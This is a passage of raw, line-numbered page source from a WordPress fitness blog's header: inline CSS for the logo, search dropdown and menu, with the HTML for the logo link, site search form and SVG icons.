and (max-width: 1140px){ 1560.tdi_26 .tdb-logo-img{ 1561 max-width: 100px; 1562 } 1563} 1564 1565/* portrait */ 1566@media (min-width: 768px) and (max-width: 1018px){ 1567.tdi_26 .tdb-logo-img{ 1568 max-width: 80px; 1569 }.tdi_26 .tdb-logo-img-wrap{ 1570 margin-top: 0px; 1571 1572 margin-bottom: 0px; 1573 1574 margin-right: 5px; 1575 1576 margin-left: 0px; 1577 }.tdi_26 .tdb-logo-img-wrap:first-child{ 1578 margin-top: 0; 1579 1580 margin-left: 0; 1581 }.tdi_26 .tdb-logo-img-wrap:last-child{ 1582 margin-bottom: 0; 1583 1584 margin-right: 0; 1585 }.tdi_26 .tdb-logo-text-tagline{ 1586 margin-top: 0; 1587 margin-left: 5px; 1588 1589 font-family:Noto Sans !important;font-size:18px !important;text-transform:capitalize !important;letter-spacing:-0.3px !important;; 1590 }.tdi_26 .tdb-logo-text-title{ 1591 font-family:Bree Serif !important;font-size:20px !important;line-height:1 !important;font-weight:500 !important;text-transform:capitalize !important;; 1592 } 1593} 1594 1595/* phone */ 1596@media (max-width: 767px){ 1597.tdi_26 .tdb-logo-img-wrap{ 1598 margin-top: 0px; 1599 1600 margin-bottom: 0px; 1601 1602 margin-right: 5px; 1603 1604 margin-left: 0px; 1605 1606 display: block; 1607 }.tdi_26 .tdb-logo-img-wrap:first-child{ 1608 margin-top: 0; 1609 1610 margin-left: 0; 1611 }.tdi_26 .tdb-logo-img-wrap:last-child{ 1612 margin-bottom: 0; 1613 1614 margin-right: 0; 1615 } 1616} 1617</style><div class="tdb-block-inner td-fix-index">
1617<a class="tdb-logo-a" href="https://thedailypump.com/"><h1><span class="tdb-logo-img-wrap"><img class="tdb-logo-img" src="https://thedailypump.com/wp-content/uploads/2020/05/thedailypumplogo-02.png" alt="Logo" title="" width="2196" height="714" /></span><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">fitness</span><span class="tdb-logo-text-tagline">blog</span></span></h1></a></div></div> <!-- ./block --><div class="td_block_wrap tdb_header_search tdi_27 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_27" > 1618<style> 1619 1620/* inline tdc_css att */ 1621 1622.tdi_27{ 1623margin-top:8px !important; 1624margin-left:15px !important; 1625padding-top:8px !important; 1626padding-left:15px !important; 1627border-color:rgba(0,0,0,0.12) !important; 1628border-style:solid !important; 1629border-width: 0px 0px 0px 1px !important; 1630} 1631 1632/* portrait */ 1633@media (min-width: 768px) and (max-width: 1018px) 1634{ 1635.tdi_27{ 1636margin-left:12px !important; 1637padding-left:14px !important; 1638} 1639} 1640 1641/* landscape */ 1642@media (min-width: 1019px) and (max-width: 1140px) 1643{ 1644.tdi_27{ 1645margin-left:18px !important; 1646padding-top:3px !important; 1647padding-left:20px !important; 1648} 1649} 1650 1651</style> 1652<style> 1653/* custom css */ 1654.tdb_module_header{ 1655 width: 100%; 1656 padding-bottom: 0; 1657 }.tdb_module_header .td-module-container{ 1658 display: flex; 1659 flex-direction: column; 1660 position: relative; 1661 }.tdb_module_header .td-module-container:before{ 1662 content: ''; 1663 position: absolute; 1664 bottom: 0; 1665 left: 0; 1666 width: 100%; 1667 height: 1px; 1668 }.tdb_module_header .td-image-wrap{ 1669 display: block; 1670 position: relative; 1671 padding-bottom: 70%; 1672 }.tdb_module_header .td-image-container{ 1673 position: relative; 1674 width: 100%; 1675 flex: 0 0 auto; 1676 }.tdb_module_header .td-module-thumb{ 1677 margin-bottom: 0; 1678 }.tdb_module_header .td-module-meta-info{ 1679 width: 100%; 1680 margin-bottom: 0; 1681 padding: 7px 0 0 0; 1682 z-index: 1; 1683 border: 0 solid #eaeaea; 1684 min-height: 0; 1685 }.tdb_module_header .entry-title{ 1686 margin: 0; 1687 font-size: 13px; 1688 font-weight: 500; 1689 line-height: 18px; 1690 }.tdb_module_header .td-post-author-name, 1691 .tdb_module_header .td-post-date, 1692 .tdb_module_header .td-module-comments{ 1693 vertical-align: text-top; 1694 }.tdb_module_header .td-post-author-name, 1695 .tdb_module_header .td-post-date{ 1696 top: 3px; 1697 }.tdb_module_header .td-thumb-css{ 1698 width: 100%; 1699 height: 100%; 1700 position: absolute; 1701 background-size: cover; 1702 background-position: center center; 1703 }.tdb_module_header .td-category-pos-image .td-post-category:not(.td-post-extra-category), 1704 .tdb_module_header .td-post-vid-time{ 1705 position: absolute; 1706 z-index: 2; 1707 bottom: 0; 1708 }.tdb_module_header .td-category-pos-image .td-post-category:not(.td-post-extra-category){ 1709 left: 0; 1710 }.tdb_module_header .td-post-vid-time{ 1711 right: 0; 1712 background-color: #000; 1713 padding: 3px 6px 4px; 1714 font-family: 'Open Sans', 'Open Sans Regular', sans-serif; 1715 font-size: 10px; 1716 font-weight: 600; 1717 line-height: 1; 1718 color: #fff; 1719 }.tdb_module_header .td-excerpt{ 1720 margin: 20px 0 0; 1721 line-height: 21px; 1722 }.tdb_module_header .td-read-more{ 1723 margin: 20px 0 0; 1724 }.tdb_module_search .tdb-author-photo{ 1725 display: inline-block; 1726 }.tdb_module_search .tdb-author-photo, 1727 .tdb_module_search .tdb-author-photo img{ 1728 vertical-align: middle; 1729 }.tdb_module_search .td-post-author-name{ 1730 white-space: normal; 1731 }.tdb_header_search{ 1732 margin-bottom: 0; 1733 clear: none; 1734 }.tdb_header_search .tdb-block-inner{ 1735 position: relative; 1736 display: inline-block; 1737 width: 100%; 1738 }.tdb_header_search .tdb-search-form{ 1739 position: relative; 1740 padding: 20px; 1741 border-width: 3px 0 0; 1742 border-style: solid; 1743 border-color: #4db2ec; 1744 pointer-events: auto; 1745 }.tdb_header_search .tdb-search-form:before{ 1746 content: ''; 1747 position: absolute; 1748 top: 0; 1749 left: 0; 1750 width: 100%; 1751 height: 100%; 1752 background-color: #fff; 1753 }.tdb_header_search .tdb-search-form-inner{ 1754 position: relative; 1755 display: flex; 1756 background-color: #fff; 1757 }.tdb_header_search .tdb-search-form-inner:after{ 1758 content: ''; 1759 position: absolute; 1760 top: 0; 1761 left: 0; 1762 width: 100%; 1763 height: 100%; 1764 border: 1px solid #e1e1e1; 1765 pointer-events: none; 1766 }.tdb_header_search .tdb-head-search-placeholder{ 1767 position: absolute; 1768 top: 50%; 1769 transform: translateY(-50%); 1770 padding: 3px 9px; 1771 font-size: 12px; 1772 line-height: 21px; 1773 color: #999; 1774 -webkit-transition: all 0.3s ease; 1775 transition: all 0.3s ease; 1776 pointer-events: none; 1777 }.tdb_header_search .tdb-head-search-form-input:focus + .tdb-head-search-placeholder, 1778 .tdb-head-search-form-input:not(:placeholder-shown) ~ .tdb-head-search-placeholder{ 1779 opacity: 0; 1780 }.tdb_header_search .tdb-head-search-form-btn, 1781 .tdb_header_search .tdb-head-search-form-input{ 1782 height: auto; 1783 min-height: 32px; 1784 }.tdb_header_search .tdb-head-search-form-input{ 1785 color: #444; 1786 flex: 1; 1787 background-color: transparent; 1788 border: 0; 1789 }.tdb_header_search .tdb-head-search-form-input.tdb-head-search-nofocus{ 1790 color: transparent; 1791 text-shadow: 0 0 0 #444; 1792 }.tdb_header_search .tdb-head-search-form-btn{ 1793 margin-bottom: 0; 1794 padding: 0 15px; 1795 background-color: #222222; 1796 font-family: 'Roboto', sans-serif; 1797 font-size: 13px; 1798 font-weight: 500; 1799 color: #fff; 1800 -webkit-transition: all 0.3s ease; 1801 transition: all 0.3s ease; 1802 z-index: 1; 1803 }.tdb_header_search .tdb-head-search-form-btn:hover{ 1804 background-color: #4db2ec; 1805 }.tdb_header_search .tdb-head-search-form-btn i, 1806 .tdb_header_search .tdb-head-search-form-btn span{ 1807 display: inline-block; 1808 vertical-align: middle; 1809 }.tdb_header_search .tdb-head-search-form-btn i{ 1810 font-size: 12px; 1811 }.tdb_header_search .tdb-head-search-form-btn .tdb-head-search-form-btn-icon{ 1812 position: relative; 1813 }.tdb_header_search .tdb-head-search-form-btn .tdb-head-search-form-btn-icon-svg{ 1814 line-height: 0; 1815 }.tdb_header_search .tdb-head-search-form-btn svg{ 1816 width: 12px; 1817 height: auto; 1818 }.tdb_header_search .tdb-head-search-form-btn svg, 1819 .tdb_header_search .tdb-head-search-form-btn svg *{ 1820 fill: #fff; 1821 -webkit-transition: all 0.3s ease; 1822 transition: all 0.3s ease; 1823 }.tdb_header_search .tdb-aj-search-results{ 1824 padding: 20px; 1825 background-color: rgba(144, 144, 144, 0.02); 1826 border-width: 1px 0; 1827 border-style: solid; 1828 border-color: #ededed; 1829 background-color: #fff; 1830 }.tdb_header_search .tdb-aj-search-results .td_module_wrap:last-child{ 1831 margin-bottom: 0; 1832 padding-bottom: 0; 1833 }.tdb_header_search .tdb-aj-search-results .td_module_wrap:last-child .td-module-container:before{ 1834 display: none; 1835 }.tdb_header_search .tdb-aj-search-inner{ 1836 display: flex; 1837 flex-wrap: wrap; 1838 *zoom: 1; 1839 }.tdb_header_search .tdb-aj-search-inner:before, 1840 .tdb_header_search .tdb-aj-search-inner:after{ 1841 display: table; 1842 content: ''; 1843 line-height: 0; 1844 }.tdb_header_search .tdb-aj-search-inner:after{ 1845 clear: both; 1846 }.tdb_header_search .result-msg{ 1847 padding: 4px 0 6px 0; 1848 font-family: 'Roboto', sans-serif; 1849 font-size: 12px; 1850 font-style: italic; 1851 background-color: #fff; 1852 }.tdb_header_search .result-msg a{ 1853 color: #222; 1854 }.tdb_header_search .result-msg a:hover{ 1855 color: #4db2ec; 1856 }.tdb_header_search .td-module-meta-info, 1857 .tdb_header_search .td-next-prev-wrap{ 1858 text-align: left; 1859 }.tdb_header_search .td_module_wrap:hover .entry-title a{ 1860 color: #4db2ec; 1861 }.tdb_header_search .tdb-aj-cur-element .entry-title a{ 1862 color: #4db2ec; 1863 }.tdc-dragged .tdb-head-search-btn:after, 1864 .tdc-dragged .tdb-drop-down-search{ 1865 visibility: hidden !important; 1866 opacity: 0 !important; 1867 -webkit-transition: all 0.3s ease; 1868 transition: all 0.3s ease; 1869 }.tdb-header-search-trigger-enabled{ 1870 z-index: 1000; 1871 }.tdb-header-search-trigger-enabled .tdb-head-search-btn{ 1872 display: flex; 1873 align-items: center; 1874 position: relative; 1875 text-align: center; 1876 color: #4db2ec; 1877 }.tdb-header-search-trigger-enabled .tdb-head-search-btn:after{ 1878 visibility: hidden; 1879 opacity: 0; 1880 content: ''; 1881 display: block; 1882 position: absolute; 1883 bottom: 0; 1884 left: 0; 1885 right: 0; 1886 margin: 0 auto; 1887 width: 0; 1888 height: 0; 1889 border-style: solid; 1890 border-width: 0 6.5px 7px 6.5px; 1891 -webkit-transform: translate3d(0, 20px, 0); 1892 transform: translate3d(0, 20px, 0); 1893 -webkit-transition: all 0.4s ease; 1894 transition: all 0.4s ease; 1895 border-color: transparent transparent #4db2ec transparent; 1896 }.tdb-header-search-trigger-enabled .tdb-drop-down-search-open + .tdb-head-search-btn:after{ 1897 visibility: visible; 1898 opacity: 1;
1899 -webkit-transform: translate3d(0, 0, 0); 1900 transform: translate3d(0, 0, 0); 1901 }.tdb-header-search-trigger-enabled .tdb-search-icon, 1902 .tdb-header-search-trigger-enabled .tdb-search-txt, 1903 .tdb-header-search-trigger-enabled .tdb-search-icon-svg svg *{ 1904 -webkit-transition: all 0.3s ease-in-out; 1905 transition: all 0.3s ease-in-out; 1906 }.tdb-header-search-trigger-enabled .tdb-search-icon-svg{ 1907 display: flex; 1908 align-items: center; 1909 justify-content: center; 1910 }.tdb-header-search-trigger-enabled .tdb-search-icon-svg svg{ 1911 height: auto; 1912 }.tdb-header-search-trigger-enabled .tdb-search-icon-svg svg, 1913 .tdb-header-search-trigger-enabled .tdb-search-icon-svg svg *{ 1914 fill: #4db2ec; 1915 }.tdb-header-search-trigger-enabled .tdb-search-txt{ 1916 position: relative; 1917 line-height: 1; 1918 }.tdb-header-search-trigger-enabled .tdb-drop-down-search{ 1919 visibility: hidden; 1920 opacity: 0; 1921 position: absolute; 1922 top: 100%; 1923 left: 0; 1924 -webkit-transform: translate3d(0, 20px, 0); 1925 transform: translate3d(0, 20px, 0); 1926 -webkit-transition: all 0.4s ease; 1927 transition: all 0.4s ease; 1928 pointer-events: none; 1929 z-index: 10; 1930 }.tdb-header-search-trigger-enabled .tdb-drop-down-search-open{ 1931 visibility: visible; 1932 opacity: 1; 1933 -webkit-transform: translate3d(0, 0, 0); 1934 transform: translate3d(0, 0, 0); 1935 }.tdb-header-search-trigger-enabled .tdb-drop-down-search-inner{ 1936 position: relative; 1937 max-width: 300px; 1938 pointer-events: all; 1939 }.rtl .tdb-header-search-trigger-enabled .tdb-drop-down-search-inner{ 1940 margin-left: 0; 1941 margin-right: auto; 1942 }.tdb_header_search .tdb-aj-srs-title{ 1943 margin-bottom: 10px; 1944 font-family: 'Roboto', sans-serif; 1945 font-weight: 500; 1946 font-size: 13px; 1947 line-height: 1.3; 1948 color: #888; 1949 }.tdb_header_search .tdb-aj-sr-taxonomies{ 1950 display: flex; 1951 flex-direction: column; 1952 }.tdb_header_search .tdb-aj-sr-taxonomy{ 1953 font-family: 'Roboto', sans-serif; 1954 font-size: 13px; 1955 font-weight: 500; 1956 line-height: 18px; 1957 color: #111; 1958 }.tdb_header_search .tdb-aj-sr-taxonomy:not(:last-child){ 1959 margin-bottom: 5px; 1960 }.tdb_header_search .tdb-aj-sr-taxonomy:hover{ 1961 color: #4db2ec; 1962 }.tdi_27 .tdb-head-search-btn i{ 1963 font-size: 22px; 1964 1965 width: 22px; 1966 height: 22px; 1967 line-height: 22px; 1968 1969 color: #333333; 1970 }.tdi_27 .tdb-head-search-btn svg{ 1971 width: 22px; 1972 }.tdi_27 .tdb-search-icon-svg{ 1973 width: 22px; 1974 height: 22px; 1975 }.tdi_27{ 1976 display: inline-block; 1977 }.tdi_27 .tdb-search-txt{ 1978 top: 0px; 1979 }.tdi_27 .tdb-drop-down-search{ 1980 top: calc(100% + 28px); 1981 }.tdi_27 .tdb-head-search-btn:after{ 1982 bottom: -28px; 1983 1984 border-bottom-color: #ffffff; 1985 }.tdi_27 .tdb-drop-down-search .tdb-drop-down-search-inner{ 1986 max-width: 800px; 1987 }.tdi_27 .tdb-search-form{ 1988 padding: 25px; 1989 1990 border-width: 0px; 1991 }.tdi_27 .tdb-head-search-form-input, 1992 .tdi_27 .tdb-head-search-placeholder{ 1993 padding: 6px 10px; 1994 }.tdi_27 .tdb-search-form-inner:after{ 1995 border-width: 1px 0 1px 1px ; 1996 1997 border-color: rgba(211,219,226,0.7); 1998 }.tdi_27 .tdb-head-search-form-btn svg{ 1999 width: 17px; 2000 }.tdi_27 .tdb-head-search-form-btn-icon{ 2001 margin-right: 8px; 2002 2003 top: 1px; 2004 }.tdi_27 .tdb-head-search-form-btn{ 2005 padding: 5px 18px 6px; 2006 2007 background-color: #e2b26f; 2008 2009 font-family:Bree Serif !important;font-size:13px !important;font-weight:400 !important;text-transform:uppercase !important; 2010 }.tdi_27 .tdb-aj-search-results{ 2011 padding: 10px 25px; 2012 2013 border-width: 0px; 2014 }.tdi_27 .result-msg{ 2015 padding: 10px 0 15px; 2016 2017 text-align: center; 2018 2019 font-family:Noto Sans !important;font-size:13px !important;
2019font-style:normal !important; 2020 }.tdi_27 .tdb-head-search-btn svg, 2021 .tdi_27 .tdb-head-search-btn svg *{ 2022 fill: #333333; 2023 }.tdi_27 .tdb-head-search-btn:hover i{ 2024 color: #e2b26f; 2025 }.tdi_27 .tdb-head-search-btn:hover svg, 2026 .tdi_27 .tdb-head-search-btn:hover svg *{ 2027 fill: #e2b26f; 2028 }.tdi_27 .tdb-drop-down-search-inner{ 2029 box-shadow: 0px 4px 16px 0px rgba(0,0,0,0.1); 2030 }.tdi_27 .tdb-head-search-form-input{ 2031 color: #333333; 2032 2033 font-family:Noto Sans !important;font-size:13px !important; 2034 }.tdi_27 .tdb-head-search-form-input.tdb-head-search-nofocus{ 2035 text-shadow: 0 0 0 #333333; 2036 }.tdi_27 .tdb-head-search-placeholder{ 2037 color: #aaaaaa; 2038 2039 font-family:Noto Sans !important;font-size:13px !important; 2040 }.tdi_27 .tdb-head-search-form-input:focus + .tdb-head-search-placeholder, 2041 .tdb-head-search-form-input:not(:placeholder-shown) ~ .tdb-head-search-placeholder{ 2042 opacity: 0.4; 2043 }.tdi_27 .tdb-head-search-form-btn:hover{ 2044 background-color: #333333; 2045 }.tdi_27 .result-msg, 2046 .tdi_27 .result-msg a{ 2047 color: #e2b26f; 2048 }.tdi_27 .result-msg a:hover{ 2049 color: #333333; 2050 }.tdi_27 .td_module_wrap{ 2051 width: 33.33333333%; 2052 float: left; 2053 2054 padding-left: 15px; 2055 padding-right: 15px; 2056 2057 padding-bottom: 17.5px; 2058 margin-bottom: 17.5px; 2059 }.tdi_27 .td_module_wrap:nth-last-child(-n+3){ 2060 margin-bottom: 0; 2061 padding-bottom: 0; 2062 }.tdi_27 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{ 2063 display: none; 2064 }.tdi_27 .tdb-aj-search-inner{ 2065 margin-left: -15px; 2066 margin-right: -15px; 2067 }.tdi_27 .td-module-container:before{ 2068 bottom: -17.5px; 2069 2070 border-color: #eaeaea; 2071 }.tdi_27 .td-module-container{ 2072 border-color: #eaeaea; 2073 2074 flex-direction: column; 2075 }.tdi_27 .entry-thumb{ 2076 background-position: center 30%; 2077 2078 border-radius: 5px; 2079 }.tdi_27 .td-image-wrap{ 2080 padding-bottom: 60%; 2081 }.tdi_27 .td-image-container{ 2082 flex: 0 0 100%; 2083 width: 100%; 2084 2085 display: block; order: 0; 2086 }.ie10 .tdi_27 .td-image-container, 2087 .ie11 .tdi_27 .td-image-container{ 2088 flex: 0 0 auto; 2089 }.ie10 .tdi_27 .td-module-meta-info, 2090 .ie11 .tdi_27 .td-module-meta-info{ 2091 flex: auto; 2092 }.tdi_27 .td-post-vid-time{ 2093 display: block; 2094 }.tdi_27 .td-module-meta-info{ 2095 padding: 16px 4px 4px; 2096 2097 border-color: #eaeaea; 2098 }.tdi_27 .entry-title{ 2099 margin: 0 0 10px 0; 2100 2101 font-family:Bree Serif !important;font-size:18px !important;line-height:1.2 !important; 2102 }.tdi_27 .td-excerpt{ 2103 margin: 0px; 2104 2105 column-count: 1; 2106 2107 column-gap: 48px; 2108 2109 display: none; 2110 }.tdi_27 .td-post-category{ 2111 padding: 0px; 2112 2113 background-color: rgba(255,255,255,0); 2114 2115 color: #aaaaaa; 2116 2117 font-family:Noto Sans !important;font-size:11px !important;font-weight:400 !important;text-transform:uppercase !important; 2118 }.tdi_27 .td-read-more{ 2119 display: none; 2120 }.tdi_27 .td-author-date{ 2121 display: none; 2122 }.tdi_27 .td-post-author-name{ 2123 display: none; 2124 }.tdi_27 .td-post-date, 2125 .tdi_27 .td-post-author-name span{ 2126 display: none; 2127 }.tdi_27 .entry-review-stars{ 2128 display: none; 2129 }.tdi_27 .td-icon-star, 2130 .tdi_27 .td-icon-star-empty, 2131 .tdi_27 .td-icon-star-half{ 2132 font-size: 15px; 2133 }.tdi_27 .td-module-comments{ 2134 display: none; 2135 }.tdi_27 .tdb-author-photo .avatar{ 2136 width: 20px; 2137 height: 20px; 2138 2139 margin-right: 6px; 2140 2141 border-radius: 50%; 2142 }.tdi_27 .td-post-category:hover{ 2143 background-color: rgba(255,255,255,0) !important; 2144 2145 color: #333333; 2146 }.tdi_27 .td-module-title a{ 2147 color: #333333; 2148 2149 box-shadow: inset 0 0 0 0 #000; 2150 }body .tdi_27 .td_module_wrap:hover .td-module-title a, 2151 .tdi_27 .tdb-aj-cur-element .entry-title a{ 2152 color: #e2b26f !important; 2153 }@media (min-width: 768px) { 2154 .tdi_27 .td-module-title a { 2155 transition: all 0.2s ease; 2156 -webkit-transition: all 0.2s ease; 2157 } 2158 } 2159 2160/* landscape */ 2161@media (min-width: 1019px) and (max-width: 1140px){ 2162.tdi_27 .tdb-drop-down-search .tdb-drop-down-search-inner{ 2163 max-width: 620px; 2164 }.tdi_27 .tdb-search-form{ 2165 padding: 22px; 2166 }.tdi_27 .tdb-head-search-form-input, 2167 .tdi_27 .tdb-head-search-placeholder{ 2168 padding: 4px 10p; 2169 }.tdi_27 .tdb-head-search-form-btn{ 2170 padding: 4px 18px; 2171 }.tdi_27 .tdb-aj-search-results{ 2172 padding: 10px 22px; 2173 }.tdi_27 .td_module_wrap{ 2174 padding-bottom: 15px !important; 2175 margin-bottom: 15px !important; 2176 2177 padding-left: 12.5px; 2178 padding-right: 12.5px; 2179 2180 padding-bottom: 15px; 2181 margin-bottom: 15px; 2182 }.tdi_27 .td_module_wrap:nth-last-child(-n+3){
2183 margin-bottom: 0 !important; 2184 padding-bottom: 0 !important; 2185 }.tdi_27 .td_module_wrap .td-module-container:before{ 2186 display: block !important; 2187 }.tdi_27 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{ 2188 display: none !important; 2189 }.tdi_27 .tdb-aj-search-inner{ 2190 margin-left: -12.5px; 2191 margin-right: -12.5px; 2192 }.tdi_27 .td-module-container:before{ 2193 bottom: -15px; 2194 }.tdi_27 .td-module-title a{ 2195 box-shadow: inset 0 0 0 0 #000; 2196 }.tdi_27 .entry-title{ 2197 font-family:Bree Serif !important;font-size:16px !important;line-height:1.2 !important; 2198 }@media (min-width: 768px) { 2199 .tdi_27 .td-module-title a { 2200 transition: all 0.2s ease; 2201 -webkit-transition: all 0.2s ease; 2202 } 2203 } 2204} 2205 2206/* portrait */ 2207@media (min-width: 768px) and (max-width: 1018px){ 2208.tdi_27 .tdb-head-search-btn i{ 2209 font-size: 18px; 2210 2211 width: 18px; 2212 height: 18px; 2213 line-height: 18px; 2214 }.tdi_27 .tdb-head-search-btn svg{ 2215 width: 18px; 2216 }.tdi_27 .tdb-search-icon-svg{ 2217 width: 18px; 2218 height: 18px; 2219 }.tdi_27 .tdb-drop-down-search .tdb-drop-down-search-inner{ 2220 max-width: 500px; 2221 }.tdi_27 .tdb-search-form{ 2222 padding: 20px; 2223 }.tdi_27 .tdb-aj-search-results{ 2224 padding: 5px 20px; 2225 }.tdi_27 .td_module_wrap{ 2226 padding-bottom: 12.5px !important; 2227 margin-bottom: 12.5px !important; 2228 2229 padding-left: 10px; 2230 padding-right: 10px; 2231 2232 padding-bottom: 12.5px; 2233 margin-bottom: 12.5px; 2234 }.tdi_27 .td_module_wrap:nth-last-child(-n+3){ 2235 margin-bottom: 0 !important; 2236 padding-bottom: 0 !important; 2237 }.tdi_27 .td_module_wrap .td-module-container:before{ 2238 display: block !important; 2239 }.tdi_27 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{ 2240 display: none !important; 2241 }.tdi_27 .tdb-aj-search-inner{ 2242 margin-left: -10px; 2243 margin-right: -10px; 2244 }.tdi_27 .td-module-container:before{ 2245 bottom: -12.5px; 2246 }.tdi_27 .td-module-meta-info{ 2247 padding: 12px 3px 3px; 2248 }.tdi_27 .td-module-title a{ 2249 box-shadow: inset 0 0 0 0 #000; 2250 }.tdi_27 .td-module-container:hover .td-module-title a{ 2251 box-shadow: inset 0 -2px 0 0 #000; 2252 }.tdi_27 .entry-title{ 2253 font-family:Bree Serif !important;font-size:14px !important;line-height:1.2 !important; 2254 }.tdi_27 .td-post-category{ 2255 font-family:Noto Sans !important;font-size:10px !important;font-weight:400 !important;text-transform:uppercase !important; 2256 }@media (min-width: 768px) { 2257 .tdi_27 .td-module-title a { 2258 transition: all 0.2s ease; 2259 -webkit-transition: all 0.2s ease; 2260 } 2261 } 2262} 2263 2264/* phone */ 2265@media (max-width: 767px){ 2266.tdi_27 .td_module_wrap{ 2267 padding-bottom: 17.5px !important; 2268 margin-bottom: 17.5px !important; 2269 2270 padding-bottom: 17.5px; 2271 margin-bottom: 17.5px; 2272 }.tdi_27 .td_module_wrap:nth-last-child(-n+3){ 2273 margin-bottom: 0 !important; 2274 padding-bottom: 0 !important; 2275 }.tdi_27 .td_module_wrap .td-module-container:before{ 2276 display: block !important; 2277 }.tdi_27 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{ 2278 display: none !important; 2279 }.tdi_27 .td-module-container:before{ 2280 bottom: -17.5px; 2281 }.tdi_27 .td-module-title a{ 2282 box-shadow: inset 0 0 0 0 #000; 2283 }@media (min-width: 768px) { 2284 .tdi_27 .td-module-title a { 2285 transition: all 0.2s ease; 2286 -webkit-transition: all 0.2s ease; 2287 } 2288 } 2289} 2290</style><div class="tdb-block-inner td-fix-index"><div class="tdb-drop-down-search" aria-labelledby="td-header-search-button"><div class="tdb-drop-down-search-inner"><form method="get" class="tdb-search-form" action="https://thedailypump.
2290com/"><div class="tdb-search-form-inner"><input class="tdb-head-search-form-input" placeholder=" " type="text" value="" name="s" autocomplete="off" /><input type="hidden" value="post" name="post_type" /><button class="wpb_button wpb_btn-inverse btn tdb-head-search-form-btn" type="submit"><span class="tdb-head-search-form-btn-icon tdb-head-search-form-btn-icon-svg"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024"><path d="M16.384 495.543h992.256v51.2h-992.256v-51.2z"></path></svg></span><span>Search</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Search" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><span class="tdb-search-icon tdb-search-icon-svg" ><svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024"><path d="M958.484 910.161l-134.564-134.502c63.099-76.595 94.781-170.455 94.72-264.141 0.061-106.414-40.755-213.228-121.917-294.431-81.244-81.183-187.976-121.958-294.359-121.938-106.435-0.020-213.187 40.796-294.369 121.938-81.234 81.203-122.010 188.017-121.989 294.369-0.020 106.445 40.755 213.166 121.989 294.287 81.193 81.285 187.945 122.020 294.369 121.979 93.716 0.041 187.597-31.642 264.11-94.659l134.554 134.564 57.457-57.467zM265.431 748.348c-65.546-65.495-98.13-150.999-98.171-236.882 0.041-85.832 32.625-171.346 98.171-236.913 65.567-65.536 151.081-98.099 236.933-98.14 85.821 0.041 171.336 32.604 236.902 98.14 65.495 65.516 98.12 151.122 98.12 236.913 0 85.924-32.625 171.387-98.12 236.882-65.556 65.495-151.009 98.099-236.902 98.099-85.852 0-171.366-32.604-236.933-98.099zM505.385 272.864c-61.901 0.020-123.566 23.501-170.824 70.799-47.288 47.258-70.769 108.923-70.799 170.834-0.041 26.624 4.383 53.105 13.046 78.428-0.031-0.522-0.092-1.024-0.031-1.556 13.199-91.341 48.241-159.775 96.963-208.497v-0.020h0.031c48.712-48.722 117.135-83.763 208.486-96.963 0.522-0.061 1.024 0 1.536 0.041-25.313-8.684-51.794-13.087-78.408-13.066z"></path></svg></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_29 wpb_column vc_column_container tdc-column td-pb-span9"> 2291<style scoped> 2292 2293/* custom css */ 2294.tdi_29{ 2295 vertical-align: baseline; 2296 }.tdi_29 > .wpb_wrapper, 2297 .tdi_29 > .wpb_wrapper > .tdc-elements{ 2298 display: block; 2299 }.tdi_29 > .wpb_wrapper > .tdc-elements{ 2300 width: 100%; 2301 }.tdi_29 > .wpb_wrapper > .vc_row_inner{ 2302 width: auto; 2303 }.tdi_29 > .wpb_wrapper{ 2304 width: auto; 2305 height: auto; 2306 } 2307/* inline tdc_css att */ 2308 2309.tdi_29{ 2310width:80% !important; 2311justify-content:flex-end !important; 2312text-align:right !important; 2313} 2314 2315/* landscape */ 2316@media (min-width: 1019px) and (max-width: 1140px) 2317{ 2318.tdi_29{ 2319width:78% !important; 2320} 2321} 2322 2323/* portrait */ 2324@media (min-width: 768px) and (max-width: 1018px) 2325{ 2326.tdi_29{ 2327width:76% !important; 2328} 2329} 2330 2331</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_menu tdi_30 tds_menu_active1 tds_menu_sub_active1 tdb-head-menu-inline tdb-mm-align-screen td-pb-border-top td-mega-menu-articles td_block_template_1 tdb-header-align" data-td-block-uid="tdi_30" style=" z-index: 999;"> 2332<style> 2333/* custom css */ 2334.tdb_header_menu{ 2335 margin-bottom: 0; 2336 z-index: 999; 2337 clear: none; 2338 }.tdb_header_menu .tdb-main-sub-icon-fake, 2339 .tdb_header_menu .tdb-sub-icon-fake{ 2340 display: none; 2341 }.rtl .tdb_header_menu .tdb-menu{ 2342 display: flex; 2343 }.tdb_header_menu .tdb-menu{ 2344 display: inline-block; 2345 vertical-align: middle; 2346 margin: 0; 2347 }.tdb_header_menu .tdb-menu .tdb-mega-menu-inactive, 2348 .tdb_header_menu .tdb-menu .tdb-menu-item-inactive{ 2349 pointer-events: none; 2350 }.tdb_header_menu .tdb-menu .tdb-mega-menu-inactive > ul, 2351 .tdb_header_menu .tdb-menu .tdb-menu-item-inactive > ul{ 2352 visibility: hidden; 2353 opacity: 0; 2354 }.tdb_header_menu .tdb-menu .sub-menu{ 2355 font-size: 14px; 2356 2357 position: absolute; 2358 top: -999em; 2359 background-color: #fff; 2360 z-index: 99; 2361 }.tdb_header_menu .tdb-menu .sub-menu > li{ 2362 list-style-type: none; 2363 margin: 0; 2364 font-family: 'Open Sans', 'Open Sans Regular', sans-serif; 2365 }.tdb_header_menu .tdb-menu > li{ 2366 float: left; 2367 list-style-type: none; 2368 margin: 0; 2369 }.tdb_header_menu .tdb-menu > li > a{ 2370 position: relative; 2371 display: inline-block; 2372 padding: 0 14px; 2373 font-weight: 700; 2374 font-size: 14px; 2375 line-height: 48px; 2376 vertical-align: middle; 2377 text-transform: uppercase; 2378 -webkit-backface-visibility: hidden; 2379 color: #000; 2380 font-family: 'Open Sans', 'Open Sans Regular', sans-serif; 2381 }.tdb_header_menu .tdb-menu > li > a:after{ 2382 content: ''; 2383 position: absolute; 2384 bottom: 0; 2385 left: 0; 2386 right: 0; 2387 margin: 0 auto; 2388 width: 0; 2389 height: 